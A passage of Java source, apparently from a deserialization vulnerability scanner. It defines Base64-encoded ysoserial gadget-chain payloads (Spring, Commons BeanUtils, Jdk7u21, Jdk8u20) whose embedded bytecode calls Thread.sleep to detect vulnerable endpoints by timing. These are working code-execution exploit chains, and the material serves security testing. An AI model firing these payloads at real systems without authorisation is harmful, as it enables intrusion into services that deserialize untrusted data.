mFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAvABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhweHEAfgAm"));
        payloadsSleep.put("Spring Alternate Payload (Sleep)", Base64.decodeBase64("rO0ABXNyAElvcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkTWV0aG9kSW52b2tlVHlwZVByb3ZpZGVyskq0B4tBGtcCAANJAAVpbmRleEwACm1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMAAhwcm92aWRlcnQAP0xvcmcvc3ByaW5nZnJhbWV3b3JrL2NvcmUvU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkVHlwZVByb3ZpZGVyO3hwAAAAAHQADm5ld1RyYW5zZm9ybWVyc30AAAABAD1vcmcuc3ByaW5nZnJhbWV3b3JrLmNvcmUuU2VyaWFsaXphYmxlVHlwZVdyYXBwZXIkVHlwZVByb3ZpZGVyeHIAF2phdmEubGFuZy5yZWZsZWN0LlByb3h54SfaIMwQQ8sCAAFMAAFodAAlTGphdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25IYW5kbGVyO3hwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXN0AA9MamF2YS91dGlsL01hcDtMAAR0eXBldAARTGphdmEvbGFuZy9DbGFzczt4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABdAAHZ2V0VHlwZXN9AAAAAgAWamF2YS5sYW5nLnJlZmxlY3QuVHlwZQAdamF2YXgueG1sLnRyYW5zZm9ybS5UZW1wbGF0ZXN4cQB-AAZzcgA0b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkpka0R5bmFtaWNBb3BQcm94eUzEtHEO65b8AgADWgANZXF1YWxzRGVmaW5lZFoAD2hhc2hDb2RlRGVmaW5lZEwAB2FkdmlzZWR0ADJMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvZnJhbWV3b3JrL0FkdmlzZWRTdXBwb3J0O3hwAABzcgAwb3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkFkdmlzZWRTdXBwb3J0JMuKPPqkxXUCAAZaAAtwcmVGaWx0ZXJlZFsADGFkdmlzb3JBcnJheXQAIltMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvQWR2aXNvcjtMABNhZHZpc29yQ2hhaW5GYWN0b3J5dAA3TG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc29yQ2hhaW5GYWN0b3J5O0wACGFkdmlzb3JzdAAQTGphdmEvdXRpbC9MaXN0O0wACmludGVyZmFjZXNxAH4AGEwADHRhcmdldFNvdXJjZXQAJkxvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9UYXJnZXRTb3VyY2U7eHIALW9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5Qcm94eUNvbmZpZ4tL8-an4PdvAgAFWgALZXhwb3NlUHJveHlaAAZmcm96ZW5aAAZvcGFxdWVaAAhvcHRpbWl6ZVoAEHByb3h5VGFyZ2V0Q2xhc3N4cAAAAAAAAHVyACJbTG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLkFkdmlzb3I734MNrdIehHQCAAB4cAAAAABzcgA8b3JnLnNwcmluZ2ZyYW1ld29yay5hb3AuZnJhbWV3b3JrLkRlZmF1bHRBZHZpc29yQ2hhaW5GYWN0b3J5VN1kN-JOcfcCAAB4cHNyABRqYXZhLnV0aWwuTGlua2VkTGlzdAwpU11KYIgiAwAAeHB3BAAAAAB4c3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4c3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLnRhcmdldC5TaW5nbGV0b25UYXJnZXRTb3VyY2V9VW71x_j6ugIAAUwABnRhcmdldHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0_BbqyrMwMACUkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAGV9hY2Nlc3NFeHRlcm5hbFN0eWxlc2hlZXRxAH4AAUwAC19hdXhDbGFzc2VzdAA7TGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0hhc2h0YWJsZTtbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AAUwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP____8AdAADYWxscHVyAANbW0JL_RkVZ2fbNwIAAHhwAAAAAnVyAAJbQqzzF_gGCFTgAgAAeHAAAAYlyv66vgAAADEAMgcAMAEAM3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAcABAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEANUx5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQ7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAKRXhjZXB0aW9ucwcAGQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEBAAxJbm5lckNsYXNzZXMHACcBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQATU3R1YlRyYW5zbGV0UGF5bG9hZAEACDxjbGluaXQ-AQAQamF2YS9sYW5nL1RocmVhZAcAKgEABXNsZWVwAQAEKEopVgwALAAtCgArAC4BAB95c29zZXJpYWwvUHduZXIyNTkwNzEzMzgwODkzODA5AQAhTHlzb3NlcmlhbC9Qd25lcjI1OTA3MTMzODA4OTM4MDk7ACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgAEAAEADAANAAEADgAAAC8AAQABAAAABSq3AA-xAAAAAgARAAAABgABAAAALgASAAAADAABAAAABQATADEAAAABABUAFgACABcAAAAEAAEAGAAOAAAAPwAAAAMAAAABsQAAAAIAEQAAAAYAAQAAADMAEgAAACAAAwAAAAEAEwAxAAAAAAABABoAGwABAAAAAQAcAB0AAgABABUAHgACABcAAAAEAAEAGAAOAAAASQAAAAQAAAABsQAAAAIAEQAAAAYAAQAAADcAEgAAACoABAAAAAEAEwAxAAAAAAABABoAGwABAAAAAQAfACAAAgAAAAEAIQAiAAMACAApAA0AAQAOAAAAGQADAAIAAAANpwADAUwRJxCFuAAvsQAAAAAAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4AMAAAAdTK_rq-AAAAMQAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAA7ABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhw"));
        payloadsSleep.put("Commons BeanUtils (Sleep)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABiPK/rq+AAAAMQAyBwAwAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcABgEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQoAAwAQDAAMAA0BAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAIPGNsaW5pdD4BABBqYXZhL2xhbmcvVGhyZWFkBwAqAQAFc2xlZXABAAQoSilWDAAsAC0KACsALgEAHnlzb3NlcmlhbC9Qd25lcjQ1NTU0NjYxMjk1NTM0OAEAIEx5c29zZXJpYWwvUHduZXI0NTU1NDY2MTI5NTUzNDg7ACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgAEAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAALgASAAAADAABAAAABQATADEAAAABABUAFgACABcAAAAEAAEAGAAOAAAAPwAAAAMAAAABsQAAAAIAEQAAAAYAAQAAADMAEgAAACAAAwAAAAEAEwAxAAAAAAABABoAGwABAAAAAQAcAB0AAgABABUAHgACABcAAAAEAAEAGAAOAAAASQAAAAQAAAABsQAAAAIAEQAAAAYAAQAAADcAEgAAACoABAAAAAEAEwAxAAAAAAABABoAGwABAAAAAQAfACAAAgAAAAEAIQAiAAMACAApAA0AAQAOAAAAGQADAAIAAAANpwADAUwRJxCFuAAvsQAAAAAAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4AEAAAAdTK/rq+AAAAMQAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAA7ABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4cQB+AA14"));
        payloadsSleep.put("Java 6 and Java 7 (up to Jdk7u21) (Sleep)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAACc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAGPMr+ur4AAAAyADMHADEBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQHAAQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHABkBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhAQAMSW5uZXJDbGFzc2VzBwAnAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAg8Y2xpbml0PgEAEGphdmEvbGFuZy9UaHJlYWQHACoBAAVzbGVlcAEABChKKVYMACwALQoAKwAuAQANU3RhY2tNYXBUYWJsZQEAHnlzb3NlcmlhbC9Qd25lcjI2NzQ2NzM0MDgzNjI1MQEAIEx5c29zZXJpYWwvUHduZXIyNjc0NjczNDA4MzYyNTE7ACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgAEAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAJQASAAAADAABAAAABQATADIAAAABABUAFgACABcAAAAEAAEAGAAOAAAAPwAAAAMAAAABsQAAAAIAEQAAAAYAAQAAACgAEgAAACAAAwAAAAEAEwAyAAAAAAABABoAGwABAAAAAQAcAB0AAgABABUAHgACABcAAAAEAAEAGAAOAAAASQAAAAQAAAABsQAAAAIAEQAAAAYAAQAAACsAEgAAACoABAAAAAEAEwAyAAAAAAABABoAGwABAAAAAQAfACAAAgAAAAEAIQAiAAMACAApAA0AAQAOAAAAIgADAAIAAAANpwADAUwRJxCFuAAvsQAAAAEAMAAAAAMAAQMAAgAjAAAAAgAkACUAAAAKAAEAAQAmACgACXVxAH4ACwAAAdTK/rq+AAAAMgAbBwACAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28HAAQBABBqYXZhL2xhbmcvT2JqZWN0BwAGAQAUamF2YS9pby9TZXJpYWxpemFibGUBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFceZp7jxtRxgBAAY8aW5pdD4BAAMoKVYBAARDb2RlCgADABAMAAwADQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAGQEAH3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMBAANGb28AIQABAAMAAQAFAAEAGgAHAAgAAQAJAAAAAgAKAAEAAQAMAA0AAQAOAAAALwABAAEAAAAFKrcAD7EAAAACABEAAAAGAAEAAAAvABIAAAAMAAEAAAAFABMAFAAAAAIAFQAAAAIAFgAXAAAACgABAAEAGAAaAAlwdAAEUHducnB3AQB4c30AAAABAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAMdwgAAAAQAAAAAXQACGY1YTVhNjA4cQB+AAh4dnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHg="));
        payloadsSleep.put("Java 8 (up to Jdk8u20) (Sleep)", Base64.decodeBase64("rO0ABXNyABdqYXZhLnV0aWwuTGlua2VkSGFzaFNldNhs11qV3SoeAgAAeHIAEWphdmEudXRpbC5IYXNoU2V0ukSFlZa4tzQDAAB4cHcMAAAAED9AAAAAAAACc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMACUkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFoAFV91c2VTZXJ2aWNlc01lY2hhbmlzbUwAGV9hY2Nlc3NFeHRlcm5hbFN0eWxlc2hlZXR0ABJMamF2YS9sYW5nL1N0cmluZztMAAtfYXV4Q2xhc3Nlc3QAO0xjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9IYXNodGFibGU7WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AAVMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////AHQAA2FsbHB1cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAAF6Mr+ur4AAAAxADIHADABACB1dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZAcABAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHAAYBABRqYXZhL2lvL1NlcmlhbGl6YWJsZQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQWtIJPzkd3vPgEABjxpbml0PgEAAygpVgEABENvZGUKAAMAEAwADAANAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAIkx1dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwAZAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQEADElubmVyQ2xhc3NlcwcAJwEADHV0aWwvR2FkZ2V0cwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAg8Y2xpbml0PgEAEGphdmEvbGFuZy9UaHJlYWQHACoBAAVzbGVlcAEABChKKVYMACwALQoAKwAuAQAdeXNvc2VyaWFsL1B3bmVyMTAzODY2MzkzOTgwNjgBAB9MeXNvc2VyaWFsL1B3bmVyMTAzODY2MzkzOTgwNjg7ACEAAQADAAEABQABABoABwAIAAEACQAAAAIACgAEAAEADAANAAEADgAAAC8AAQABAAAABSq3AA+xAAAAAgARAAAABgABAAAAHAASAAA